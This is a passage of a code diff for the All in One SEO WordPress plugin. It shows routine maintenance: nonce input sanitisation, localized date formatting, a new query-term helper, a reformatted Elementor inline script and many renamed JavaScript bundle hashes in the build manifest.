 					<div class="aioseo-toc-header-title aioseo-toc-header-collapsible-closed ' . $class1 . '">
@@ -173,6 +183,8 @@
 			</div>
 		</div>';

+		$htmlString = '<div class="wp-block-aioseo-table-of-contents">' . $htmlString . '</div>';
+
 		$fullHtmlString = 'off' === $attributes['collapsibleType'] ? $htmlString : $fullHtmlString;

 		return $fullHtmlString;
--- a/all-in-one-seo-pack/app/Common/Standalone/BuddyPress/Tags.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/BuddyPress/Tags.php
@@ -311,17 +311,17 @@
 			case 'post_day':
 				$out = $sampleData
 					? date_i18n( 'd' )
-					: date( 'd', aioseo()->standalone->buddyPress->component->date );
+					: date_i18n( 'd', aioseo()->standalone->buddyPress->component->date );
 				break;
 			case 'post_month':
 				$out = $sampleData
 					? date_i18n( 'F' )
-					: date( 'F', aioseo()->standalone->buddyPress->component->date );
+					: date_i18n( 'F', aioseo()->standalone->buddyPress->component->date );
 				break;
 			case 'post_year':
 				$out = $sampleData
 					? date_i18n( 'Y' )
-					: date( 'Y', aioseo()->standalone->buddyPress->component->date );
+					: date_i18n( 'Y', aioseo()->standalone->buddyPress->component->date );
 				break;
 			case 'archive_title':
 				$out = $sampleData
--- a/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Base.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Base.php
@@ -232,7 +232,7 @@
 		}

 		if ( aioseo()->helpers->isAjaxCronRestRequest() ) {
-			return apply_filters( 'the_content', $content );
+			return apply_filters( 'the_content', $content ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		}

 		return $content;
--- a/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Bricks.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Bricks.php
@@ -133,7 +133,7 @@
 	 */
 	public function limitModifiedDate( $postId ) {
 		// This method is supposed to be used in the `bricks_save_post` action.
-		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'bricks-nonce-builder' ) ) {
+		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'bricks-nonce-builder' ) ) {
 			return false;
 		}

--- a/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Elementor.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Elementor.php
@@ -76,33 +76,33 @@
 	 */
 	public function addInlineScript() {
 		$title  = esc_js( __( 'Save (Don't Modify Date)', 'all-in-one-seo-pack' ) );
-		$script = <<<JS
-(function($) {
-	$(window).on('elementor:init', () => {
-		if(!window?.elementorV2) {
-			return
-		}
+		$script = "
+			(function($) {
+				$(window).on('elementor:init', () => {
+					if(!window?.elementorV2) {
+						return
+					}

-		window.elementorV2.editorAppBar.documentOptionsMenu.registerToggleAction({
-			priority : 10,
-			useProps : () => {
-				const currentDocument = window.elementor?.documents?.getCurrent() || null;
-				const isChanged = currentDocument?.editor?.isChanged ?? true;
-				const isSaving = currentDocument?.editor?.isSaving ?? false;
+					window.elementorV2.editorAppBar.documentOptionsMenu.registerToggleAction({
+						priority : 10,
+						useProps : () => {
+							const currentDocument = window.elementor?.documents?.getCurrent() || null;
+							const isChanged = currentDocument?.editor?.isChanged ?? true;
+							const isSaving = currentDocument?.editor?.isSaving ?? false;

-				return {
-					title : '{$title}',
-					icon  : window.elementorV2.icons.CalendarIcon,
-					onClick : () => {
-						document.dispatchEvent(new Event('aioseo-limit-modified-date-save'))
-					},
-					disabled : !isChanged || isSaving
-				}
-			}
-		})
-	})
-})(window.jQuery)
-JS;
+							return {
+								title : '{$title}',
+								icon  : window.elementorV2.icons.CalendarIcon,
+								onClick : () => {
+									document.dispatchEvent(new Event('aioseo-limit-modified-date-save'))
+								},
+								disabled : !isChanged || isSaving
+							}
+						}
+					})
+				})
+			})(window.jQuery)
+		";

 		wp_add_inline_script( 'elementor-editor', $script, 'before' );
 	}
--- a/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Oxygen.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/PageBuilders/Oxygen.php
@@ -169,7 +169,7 @@
 	public function limitModifiedDate( $postId ) {
 		// This method is supposed to be used in the `breakdance_save` action.
 		$action = function_exists( 'BreakdanceAJAXget_nonce_key_for_ajax_requests' ) ? BreakdanceAJAXget_nonce_key_for_ajax_requests() : 'breakdance_ajax';
-		if ( ! isset( $_REQUEST['_ajax_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_ajax_nonce'], $action ) ) {
+		if ( ! isset( $_REQUEST['_ajax_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['_ajax_nonce'] ) ), $action ) ) {
 			return false;
 		}

--- a/all-in-one-seo-pack/app/Common/Standalone/SeoPreview.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/SeoPreview.php
@@ -158,7 +158,8 @@
 				$wpObject = aioseo()->helpers->getPost();

 				if ( is_a( $wpObject, 'WP_Post' ) ) {
-					$labels                = get_post_type_labels( get_post_type_object( $wpObject->post_type ) );
+					$postTypeObject        = get_post_type_object( $wpObject->post_type );
+					$labels                = $postTypeObject->labels;
 					$data['editObjectUrl'] = get_edit_post_link( $wpObject, 'url' );

 					if (
--- a/all-in-one-seo-pack/app/Common/Traits/Helpers/Wp.php
+++ b/all-in-one-seo-pack/app/Common/Traits/Helpers/Wp.php
@@ -973,7 +973,7 @@
 				return null;
 			}

-			$postTypeLabels[ $postType ] = get_post_type_labels( $postTypeObject );
+			$postTypeLabels[ $postType ] = $postTypeObject->labels;
 		}

 		return $postTypeLabels[ $postType ];
--- a/all-in-one-seo-pack/app/Common/Traits/Helpers/WpContext.php
+++ b/all-in-one-seo-pack/app/Common/Traits/Helpers/WpContext.php
@@ -974,6 +974,44 @@
 	}

 	/**
+	 * Sets the given term as the queried object of the main query.
+	 *
+	 * @since 4.9.3
+	 *
+	 * @param  WP_Term|int $wpTerm   The term object or ID.
+	 * @param  string       $taxonomy The taxonomy name. Required if $wpTerm is an ID.
+	 * @return void
+	 */
+	public function setWpQueryTerm( $wpTerm, $taxonomy = '' ) {
+		$wpTerm = is_a( $wpTerm, 'WP_Term' ) ? $wpTerm : get_term( $wpTerm, $taxonomy );
+		if ( ! is_a( $wpTerm, 'WP_Term' ) ) {
+			return;
+		}
+
+		// phpcs:disable Squiz.NamingConventions.ValidVariableName
+		global $wp_query;
+		$this->originalQuery = $this->deepClone( $wp_query );
+
+		$wp_query->queried_object    = $wpTerm;
+		$wp_query->queried_object_id = (int) $wpTerm->term_id;
+		$wp_query->is_archive        = true;
+
+		// Set the appropriate taxonomy flag.
+		switch ( $wpTerm->taxonomy ) {
+			case 'category':
+				$wp_query->is_category = true;
+				break;
+			case 'post_tag':
+				$wp_query->is_tag = true;
+				break;
+			default:
+				$wp_query->is_tax = true;
+				break;
+		}
+		// phpcs:enable Squiz.NamingConventions.ValidVariableName
+	}
+
+	/**
 	 * Restores the main query back to the original query.
 	 *
 	 * @since 4.3.0
--- a/all-in-one-seo-pack/app/Common/Utils/Helpers.php
+++ b/all-in-one-seo-pack/app/Common/Utils/Helpers.php
@@ -407,7 +407,7 @@
 			$cached[ $k ] = [
 				'url'     => $item['link'],
 				'title'   => $item['title']['rendered'],
-				'date'    => date( get_option( 'date_format' ), strtotime( $item['date'] ) ),
+				'date'    => date_i18n( get_option( 'date_format' ), strtotime( $item['date'] ) ),
 				'content' => wp_html_excerpt( $item['content']['rendered'], 128, '…' ),
 			];

--- a/all-in-one-seo-pack/app/Common/Utils/Tags.php
+++ b/all-in-one-seo-pack/app/Common/Utils/Tags.php
@@ -276,6 +276,11 @@
 			'tax_name',
 			'taxonomy_title'
 		],
+		'schemaReviewAuthor'  => [
+			'author_first_name',
+			'author_last_name',
+			'author_name'
+		],
 		'searchDescription'   => [
 			'current_date',
 			'current_day',
--- a/all-in-one-seo-pack/app/Lite/Admin/Admin.php
+++ b/all-in-one-seo-pack/app/Lite/Admin/Admin.php
@@ -104,7 +104,7 @@

 		foreach ( $mappedUrls as $queryArg => $redirectUrl ) {
 			if ( isset( $_GET[ $queryArg ] ) ) { // phpcs:ignore HM.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Recommended
-				wp_redirect( $redirectUrl );
+				wp_redirect( $redirectUrl ); // phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect
 				exit;
 			}
 		}
--- a/all-in-one-seo-pack/dist/Lite/manifest.php
+++ b/all-in-one-seo-pack/dist/Lite/manifest.php
@@ -35,12 +35,12 @@
       "_runtime-core.esm-bundler.ce5add0b.js"
     ]
   },
-  "_AddonConditions.c3862ae2.js": {
-    "file": "js/AddonConditions.c3862ae2.js",
+  "_AddonConditions.a6214a89.js": {
+    "file": "js/AddonConditions.a6214a89.js",
     "name": "AddonConditions",
     "imports": [
-      "_index.317ad629.js",
-      "_addons.a280be1f.js",
+      "_index.4b887428.js",
+      "_addons.9cee8bbb.js",
       "_Index.2a391835.js",
       "_Index.72794c8a.js",
       "_translations.e71e2202.js",
@@ -61,18 +61,18 @@
     "file": "css/Analyze.bed4d271.css",
     "src": "_Analyze.!~{04Z}~.js"
   },
-  "_Analyze.94b03cf4.js": {
-    "file": "js/Analyze.94b03cf4.js",
+  "_Analyze.bd0d8b1d.js": {
+    "file": "js/Analyze.bd0d8b1d.js",
     "name": "Analyze",
     "imports": [
       "_runtime-dom.esm-bundler.dc49ee3e.js",
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_popup.92105c51.js",
-      "_SeoSiteScore.a1efd869.js",
-      "_utils.7cd46cbc.js",
+      "_SeoSiteScore.67f514f9.js",
+      "_utils.87f13de5.js",
       "_Blur.92695742.js",
       "_helpers.633a054c.js",
-      "_iphone-frame.2eb975ac.js",
+      "_iphone-frame.af4f65aa.js",
       "_DonutChart.16da12c9.js",
       "_Index.a4d7633a.js",
       "_Book.f0bec69d.js",
@@ -81,7 +81,7 @@
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
       "_default-i18n.65d58dd6.js",
-      "_ConnectStore.92e3ac21.js"
+      "_ConnectStore.f1902987.js"
     ],
     "css": [
       "css/Analyze.bed4d271.css"
@@ -112,17 +112,17 @@
     ]
   },
   "_App.!~{05C}~.js": {
-    "file": "css/App.22327e51.css",
+    "file": "css/App.befcf71d.css",
     "src": "_App.!~{05C}~.js"
   },
-  "_App.a4d67f59.js": {
-    "file": "js/App.a4d67f59.js",
+  "_App.675dba82.js": {
+    "file": "js/App.675dba82.js",
     "name": "App",
     "imports": [
       "_runtime-dom.esm-bundler.dc49ee3e.js",
-      "_index.317ad629.js",
-      "_ScrollAndHighlight.f74ce42e.js",
-      "_LicenseKeyBar.48793272.js",
+      "_index.4b887428.js",
+      "_ScrollAndHighlight.f49826ae.js",
+      "_LicenseKeyBar.40cfe2b2.js",
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
       "_Button.9a301412.js",
@@ -132,77 +132,77 @@
       "_icon.5e141fec.js",
       "_default-i18n.65d58dd6.js",
       "_constants.bc5863fe.js",
-      "_Index.3a1576c6.js",
+      "_Index.25ae8dfb.js",
       "_Index.2a391835.js",
       "_Pencil.d82df6a1.js",
       "_SettingsRow.35256805.js",
       "_Checkbox.6a913600.js",
       "_Row.bb9acf3f.js",
-      "_Url.c2dcf147.js",
-      "_CreditCounter.1447795e.js",
+      "_Url.9f0afcb2.js",
+      "_CreditCounter.a677ab15.js",
+      "_Tooltip.23c7170d.js",
       "_helpers.633a054c.js",
       "_Close.ccd53ef3.js",
       "_CheckSolid.5be77a11.js",
       "_Textarea.1045f090.js",
-      "_Tooltip.23c7170d.js",
       "_Trash.87a7d946.js",
       "_AiContent.162ae902.js",
       "_Simple.ad972ba4.js",
       "_stripHTMLTags.7df752a7.js",
       "_Plus.c9b03af8.js",
       "_HighlightToggle.51ada893.js",
-      "_Tabs.a35aa612.js",
+      "_Tabs.13bb57b9.js",
       "_debounce.652fa24c.js",
-      "_Cta.30a759f8.js",
+      "_Cta.650fc586.js",
       "_Blur.92695742.js",
       "_MaxCounts.b4988c4d.js",
       "_Caret.cd869c5d.js",
       "_Ellipse.79856822.js",
       "_Eye.489b3324.js",
-      "_TruSeoScore.89e5cf67.js",
+      "_TruSeoScore.b5fd3bf1.js",
       "_Statistics.48462985.js",
       "_RadioToggle.18655b2f.js",
-      "_GoogleSearchPreview.114c7833.js",
-      "_HtmlTagsEditor.c93abc5f.js",
+      "_GoogleSearchPreview.ea4e7828.js",
+      "_HtmlTagsEditor.a6c3be1f.js",
       "_Slide.3003ef51.js",
       "_ProBadge.e6ec5f9a.js",
       "_popup.92105c51.js",
-      "_ConnectStore.92e3ac21.js",
+      "_ConnectStore.f1902987.js",
       "_datetime.f197aeae.js",
-      "_license.414793bf.js",
+      "_license.388ee2cc.js",
       "_Mobile.d702625c.js",
-      "_Settings.79c0ab6f.js",
+      "_Settings.c0d5dedf.js",
       "_Cta.d280012a.js",
-      "_GoogleSearchConsole.299a85c0.js",
-      "_ConnectCta.af1c2a2e.js",
+      "_GoogleSearchConsole.6d009df7.js",
+      "_ConnectCta.c8f3baaf.js",
       "_Index.72794c8a.js",
-      "_Graph.497958b7.js",
-      "_WpTable.9bcfde23.js",
+      "_Graph.19914f74.js",
+      "_WpTable.f051f458.js",
       "_numbers.cdba2587.js",
-      "_Table.b24bacad.js",
-      "_RequiredPlans.3bd01b59.js",
-      "_addons.a280be1f.js",
+      "_Table.5d523def.js",
+      "_RequiredPlans.515ee73d.js",
+      "_addons.9cee8bbb.js",
       "_PostTypes.4e006733.js",
       "_External.5f8a6285.js",
       "_InternalOutbound.5b420e7d.js",
-      "_Image.18de3397.js",
-      "_Editor.8a5e9531.js",
-      "_FacebookPreview.b58a89ab.js",
-      "_ImageUploader.81dc4a47.js",
-      "_TwitterPreview.ab913faa.js",
+      "_Image.33509a0b.js",
+      "_Editor.179f32d8.js",
+      "_FacebookPreview.3832e81a.js",
+      "_ImageUploader.cbca7c75.js",
+      "_TwitterPreview.bdf52362.js",
       "_Build.acb95bd2.js",
-      "_Index.2fb13293.js",
-      "_Redirects.98c32cdc.js",
-      "_Index.9292de28.js",
+      "_Index.9e9d564d.js",
+      "_Redirects.79d78435.js",
+      "_Index.778efbec.js",
       "_Input.f04bee4d.js",
       "_Toggle.11571651.js",
-      "_Upsell.da9355ad.js"
+      "_Upsell.7de15d63.js"
     ],
     "dynamicImports": [
       "src/vue/standalone/ai-image-generator/extend-block-editor.js"
     ],
     "css": [
-      "css/App.22327e51.css",
+      "css/App.befcf71d.css",
       "css/main.d89f69d1.css"
     ],
     "assets": [
@@ -276,11 +276,11 @@
     "file": "css/Card.35ac16b1.css",
     "src": "_Card.!~{03L}~.js"
   },
-  "_Card.b75a3969.js": {
-    "file": "js/Card.b75a3969.js",
+  "_Card.597c7ae2.js": {
+    "file": "js/Card.597c7ae2.js",
     "name": "Card",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_Tooltip.23c7170d.js",
       "_Caret.cd869c5d.js",
       "_Trash.87a7d946.js",
@@ -347,17 +347,17 @@
     "file": "css/CloseAndExit.dcfe5db0.css",
     "src": "_CloseAndExit.!~{03c}~.js"
   },
-  "_CloseAndExit.44cdfb74.js": {
-    "file": "js/CloseAndExit.44cdfb74.js",
+  "_CloseAndExit.2ea40092.js": {
+    "file": "js/CloseAndExit.2ea40092.js",
     "name": "CloseAndExit",
     "imports": [
-      "_index.317ad629.js",
-      "_Wizard.2d82a982.js",
-      "_Index.3a1576c6.js",
+      "_index.4b887428.js",
+      "_Wizard.9389f313.js",
+      "_Index.25ae8dfb.js",
       "_Close.ccd53ef3.js",
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "__plugin-vue_export-helper.eefbdd86.js",
-      "_SetupWizardStore.d5fd9332.js",
+      "_SetupWizardStore.f23d0bfe.js",
       "_runtime-core.esm-bundler.ce5add0b.js"
     ],
     "css": [
@@ -368,12 +368,12 @@
     "file": "js/CommonSitemap.d3bc15ea.js",
     "name": "CommonSitemap"
   },
-  "_ConnectCta.af1c2a2e.js": {
-    "file": "js/ConnectCta.af1c2a2e.js",
+  "_ConnectCta.c8f3baaf.js": {
+    "file": "js/ConnectCta.c8f3baaf.js",
     "name": "ConnectCta",
     "imports": [
-      "_index.317ad629.js",
-      "_GoogleSearchConsole.299a85c0.js",
+      "_index.4b887428.js",
+      "_GoogleSearchConsole.6d009df7.js",
       "_Index.72794c8a.js",
       "_translations.e71e2202.js",
       "_default-i18n.65d58dd6.js",
@@ -388,23 +388,23 @@
       "_runtime-core.esm-bundler.ce5add0b.js"
     ]
   },
-  "_ConnectStore.92e3ac21.js": {
-    "file": "js/ConnectStore.92e3ac21.js",
+  "_ConnectStore.f1902987.js": {
+    "file": "js/ConnectStore.f1902987.js",
     "name": "ConnectStore",
     "imports": [
-      "_index.317ad629.js",
-      "_SetupWizardStore.d5fd9332.js"
+      "_index.4b887428.js",
+      "_SetupWizardStore.f23d0bfe.js"
     ]
   },
   "_CreditCounter.!~{04n}~.js": {
     "file": "css/CreditCounter.8f70269f.css",
     "src": "_CreditCounter.!~{04n}~.js"
   },
-  "_CreditCounter.1447795e.js": {
-    "file": "js/CreditCounter.1447795e.js",
+  "_CreditCounter.a677ab15.js": {
+    "file": "js/CreditCounter.a677ab15.js",
     "name": "CreditCounter",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_datetime.f197aeae.js",
       "_Button.9a301412.js",
       "_Tooltip.23c7170d.js",
@@ -422,17 +422,25 @@
     "file": "css/Cta.c3f648a6.css",
     "src": "_Cta.!~{04o}~.js"
   },
-  "_Cta.30a759f8.js": {
-    "file": "js/Cta.30a759f8.js",
+  "_Cta.5c0d267b.js": {
+    "file": "js/Cta.5c0d267b.js",
+    "name": "Cta",
+    "imports": [
+      "__plugin-vue_export-helper.eefbdd86.js",
+      "_runtime-core.esm-bundler.ce5add0b.js"
+    ]
+  },
+  "_Cta.650fc586.js": {
+    "file": "js/Cta.650fc586.js",
     "name": "Cta",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_helpers.633a054c.js",
       "_Button.9a301412.js",
       "_Index.2a391835.js",
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "_translations.e71e2202.js",
-      "_Index.3a1576c6.js",
+      "_Index.25ae8dfb.js",
       "_Close.ccd53ef3.js",
       "_default-i18n.65d58dd6.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
@@ -448,14 +456,6 @@
       "images/ai-content.893361cb.png"
     ]
   },
-  "_Cta.5c0d267b.js": {
-    "file": "js/Cta.5c0d267b.js",
-    "name": "Cta",
-    "imports": [
-      "__plugin-vue_export-helper.eefbdd86.js",
-      "_runtime-core.esm-bundler.ce5add0b.js"
-    ]
-  },
   "_Cta.d280012a.js": {
     "file": "js/Cta.d280012a.js",
     "name": "Cta",
@@ -467,11 +467,11 @@
     "file": "css/DatePicker.f182bdc7.css",
     "src": "_DatePicker.!~{046}~.js"
   },
-  "_DatePicker.31ecbe38.js": {
-    "file": "js/DatePicker.31ecbe38.js",
+  "_DatePicker.36e9e18f.js": {
+    "file": "js/DatePicker.36e9e18f.js",
     "name": "DatePicker",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_Calendar.9a717949.js",
       "_Pencil.d82df6a1.js",
       "_translations.e71e2202.js",
@@ -534,15 +534,15 @@
     "file": "css/Editor.f339f527.css",
     "src": "_Editor.!~{02$}~.js"
   },
-  "_Editor.8a5e9531.js": {
-    "file": "js/Editor.8a5e9531.js",
+  "_Editor.179f32d8.js": {
+    "file": "js/Editor.179f32d8.js",
     "name": "Editor",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_translations.e71e2202.js",
       "_default-i18n.65d58dd6.js",
       "_isEqual.59768dc1.js",
-      "__baseClone.cfa156ff.js",
+      "__baseClone.e7cb118a.js",
       "_Input.f04bee4d.js",
       "_Caret.cd869c5d.js",
       "__plugin-vue_export-helper.eefbdd86.js",
@@ -590,14 +590,14 @@
     "file": "css/ExcludePosts.de879b72.css",
     "src": "_ExcludePosts.!~{040}~.js"
   },
-  "_ExcludePosts.d14452d5.js": {
-    "file": "js/ExcludePosts.d14452d5.js",
+  "_ExcludePosts.d38ebe01.js": {
+    "file": "js/ExcludePosts.d38ebe01.js",
     "name": "ExcludePosts",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_JsonValues.a0694556.js",
       "_Button.9a301412.js",
-      "_Select.69906a74.js",
+      "_Select.f950b4c6.js",
       "_AddPlus.39af5a0f.js",
       "_Close.ccd53ef3.js",
       "_External.641efa63.js",
@@ -647,12 +647,12 @@
     "file": "css/FacebookPreview.a19706d8.css",
     "src": "_FacebookPreview.!~{04A}~.js"
   },
-  "_FacebookPreview.b58a89ab.js": {
-    "file": "js/FacebookPreview.b58a89ab.js",
+  "_FacebookPreview.3832e81a.js": {
+    "file": "js/FacebookPreview.3832e81a.js",
     "name": "FacebookPreview",
     "imports": [
-      "_index.317ad629.js",
-      "_Img.4d5c45cc.js",
+      "_index.4b887428.js",
+      "_Img.85371eb9.js",
       "_Button.9a301412.js",
       "_Profile.1de11420.js",
       "__plugin-vue_export-helper.eefbdd86.js",
@@ -674,11 +674,11 @@
     "file": "css/GettingStarted.2a059fab.css",
     "src": "_GettingStarted.!~{04p}~.js"
   },
-  "_GettingStarted.70014c7b.js": {
-    "file": "js/GettingStarted.70014c7b.js",
+  "_GettingStarted.af7cd261.js": {
+    "file": "js/GettingStarted.af7cd261.js",
     "name": "GettingStarted",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_Row.bb9acf3f.js",
       "_Book.f0bec69d.js",
       "_Close.ccd53ef3.js",
@@ -701,11 +701,11 @@
       "_runtime-core.esm-bundler.ce5add0b.js"
     ]
   },
-  "_GoogleSearchConsole.299a85c0.js": {
-    "file": "js/GoogleSearchConsole.299a85c0.js",
+  "_GoogleSearchConsole.6d009df7.js": {
+    "file": "js/GoogleSearchConsole.6d009df7.js",
     "name": "GoogleSearchConsole",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_translations.e71e2202.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
       "_default-i18n.65d58dd6.js"
@@ -715,14 +715,14 @@
     "file": "css/GoogleSearchPreview.49ea6dbd.css",
     "src": "_GoogleSearchPreview.!~{03j}~.js"
   },
-  "_GoogleSearchPreview.114c7833.js": {
-    "file": "js/GoogleSearchPreview.114c7833.js",
+  "_GoogleSearchPreview.ea4e7828.js": {
+    "file": "js/GoogleSearchPreview.ea4e7828.js",
     "name": "GoogleSearchPreview",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_constants.bc5863fe.js",
       "_Caret.cd869c5d.js",
-      "_Url.c2dcf147.js",
+      "_Url.9f0afcb2.js",
       "_translations.e71e2202.js",
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "__plugin-vue_export-helper.eefbdd86.js",
@@ -737,11 +737,11 @@
     "file": "css/Graph.967dc7cd.css",
     "src": "_Graph.!~{051}~.js"
   },
-  "_Graph.497958b7.js": {
-    "file": "js/Graph.497958b7.js",
+  "_Graph.19914f74.js": {
+    "file": "js/Graph.19914f74.js",
     "name": "Graph",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_numbers.cdba2587.js",
       "_helpers.633a054c.js",
       "_vue3-apexcharts.d821ad9d.js",
@@ -767,16 +767,16 @@
     "file": "css/Header.d3d0905f.css",
     "src": "_Header.!~{03b}~.js"
   },
-  "_Header.ae0d0374.js": {
-    "file": "js/Header.ae0d0374.js",
+  "_Header.ab7dd0a5.js": {
+    "file": "js/Header.ab7dd0a5.js",
     "name": "Header",
     "imports": [
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "_vue-router.41e9d860.js",
-      "_index.317ad629.js",
-      "_addons.a280be1f.js",
-      "_ScrollAndHighlight.f74ce42e.js",
-      "_LicenseKeyBar.48793272.js",
+      "_index.4b887428.js",
+      "_addons.9cee8bbb.js",
+      "_ScrollAndHighlight.f49826ae.js",
+      "_LicenseKeyBar.40cfe2b2.js",
       "_AnimatedNumber.97e7e241.js",
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
@@ -791,15 +791,15 @@
       "css/Header.1b594f68.css"
     ]
   },
-  "_Header.f7aecc8c.js": {
-    "file": "js/Header.f7aecc8c.js",
+  "_Header.b394e22f.js": {
+    "file": "js/Header.b394e22f.js",
     "name": "Header",
     "imports": [
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_Logo.3715aad2.js",
-      "_SetupWizardStore.d5fd9332.js"
+      "_SetupWizardStore.f23d0bfe.js"
     ],
     "css": [
       "css/Header.d3d0905f.css"
@@ -834,15 +834,15 @@
     "file": "css/HtmlTagsEditor.62a1ac53.css",
     "src": "_HtmlTagsEditor.!~{02_}~.js"
   },
-  "_HtmlTagsEditor.c93abc5f.js": {
-    "file": "js/HtmlTagsEditor.c93abc5f.js",
+  "_HtmlTagsEditor.a6c3be1f.js": {
+    "file": "js/HtmlTagsEditor.a6c3be1f.js",
     "name": "HtmlTagsEditor",
     "imports": [
-      "_index.317ad629.js",
-      "_Editor.8a5e9531.js",
+      "_index.4b887428.js",
+      "_Editor.179f32d8.js",
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
-      "_UnfilteredHtml.f93ca71d.js",
+      "_UnfilteredHtml.ac78585e.js",
       "_Pencil.d82df6a1.js",
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "_translations.e71e2202.js",
@@ -852,11 +852,11 @@
       "css/HtmlTagsEditor.62a1ac53.css"
     ]
   },
-  "_Image.18de3397.js": {
-    "file": "js/Image.18de3397.js",
+  "_Image.33509a0b.js": {
+    "file": "js/Image.33509a0b.js",
     "name": "Image",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_translations.e71e2202.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
       "_default-i18n.65d58dd6.js"
@@ -874,16 +874,16 @@
     "file": "css/ImageUploader.93e8cb36.css",
     "src": "_ImageUploader.!~{034}~.js"
   },
-  "_ImageUploader.81dc4a47.js": {
-    "file": "js/ImageUploader.81dc4a47.js",
+  "_ImageUploader.cbca7c75.js": {
+    "file": "js/ImageUploader.cbca7c75.js",
     "name": "ImageUploader",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_translations.e71e2202.js",
       "_default-i18n.65d58dd6.js",
       "_runtime-core.esm-bundler.ce5add0b.js",
       "_Button.9a301412.js",
-      "_Img.4d5c45cc.js",
+      "_Img.85371eb9.js",
       "_Input.f04bee4d.js",
       "_Plus.c9b03af8.js",
       "_Trash.87a7d946.js",
@@ -894,11 +894,11 @@
       "css/ImageUploader.93e8cb36.css"
     ]
   },
-  "_Img.4d5c45cc.js": {
-    "file": "js/Img.4d5c45cc.js",
+  "_Img.85371eb9.js": {
+    "file": "js/Img.85371eb9.js",
     "name": "Img",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "__plugin-vue_export-helper.eefbdd86.js",
       "_runtime-core.esm-bundler.ce5add0b.js"
     ]
@@ -935,53 +935,11 @@
     "file": "css/Index.17849410.css",
     "src": "_Index.!~{05h}~.js"
   },
-  "_Index.2a391835.js": {
-    "file": "js/Index.2a391835.js",
-    "name": "Index",
-    "imports": [
-      "_Close.ccd53ef3.js",
-      "__plugin-vue_export-helper.eefbdd86.js",
-      "_runtime-core.esm-bundler.ce5add0b.js"
-    ],
-    "css": [
-      "css/Index.74bb20a6.css"
-    ]
-  },
-  "_Index.2fb13293.js": {
-    "file": "js/Index.2fb13293.js",
-    "name": "Index",
-    "imports": [
-      "_constants.bc5863fe.js",
-      "_index.317ad629.js",
-      "_JsonValues.a0694556.js",
-      "_Index.9292de28.js",
-      "_Url.c2dcf147.js",
-      "_Button.9a301412.js",
-      "_Select.69906a74.js",
-      "_Index.2a391835.js",
-      "_date.f7db1924.js",
-      "_datetime.f197aeae.js",
-      "_DatePicker.31ecbe38.js",
-      "_Input.f04bee4d.js",
-      "_Tooltip.23c7170d.js",
-      "_Trash.87a7d946.js",
-      "_Plus.c9b03af8.js",
-      "_translations.e71e2202.js",
-      "__plugin-vue_export-helper.eefbdd86.js",
-      "_default-i18n.65d58dd6.js",
-      "_runtime-core.esm-bundler.ce5add0b.js",
-      "_Slide.3003ef51.js",
-      "_runtime-dom.esm-bundler.dc49ee3e.js"
-    ],
-    "css": [
-      "css/Index.1f46ce05.css"
-    ]
-  },
-  "_Index.3a1576c6.js": {
-    "file": "js/Index.3a1576c6.js",
+  "_Index.25ae8dfb.js": {
+    "file": "js/Index.25ae8dfb.js",
     "name": "Index",
     "imports": [
-      "_index.317ad629.js",
+      "_index.4b887428.js",
       "_Close.ccd53ef3.js",
       "_runtime-dom.esm-bundler.dc49ee3e.js",
       "__plugin-vue_export-helper.eefbdd86.js",
@@ -991,41 +949,16 @@
       "css/Index.98ff9b0b.css"
     ]
   },
-  "_Index.3c8fd730.js": {
-    "file": "js/Index.3c8fd730.js",
+  "_Index.2a391835.js": {
+    "file": "js/Index.2a391835.js",
     "name": "Index",
     "imports": [
-      "_vue-router.41e9d860.js",
-      "_index.317ad629.js",
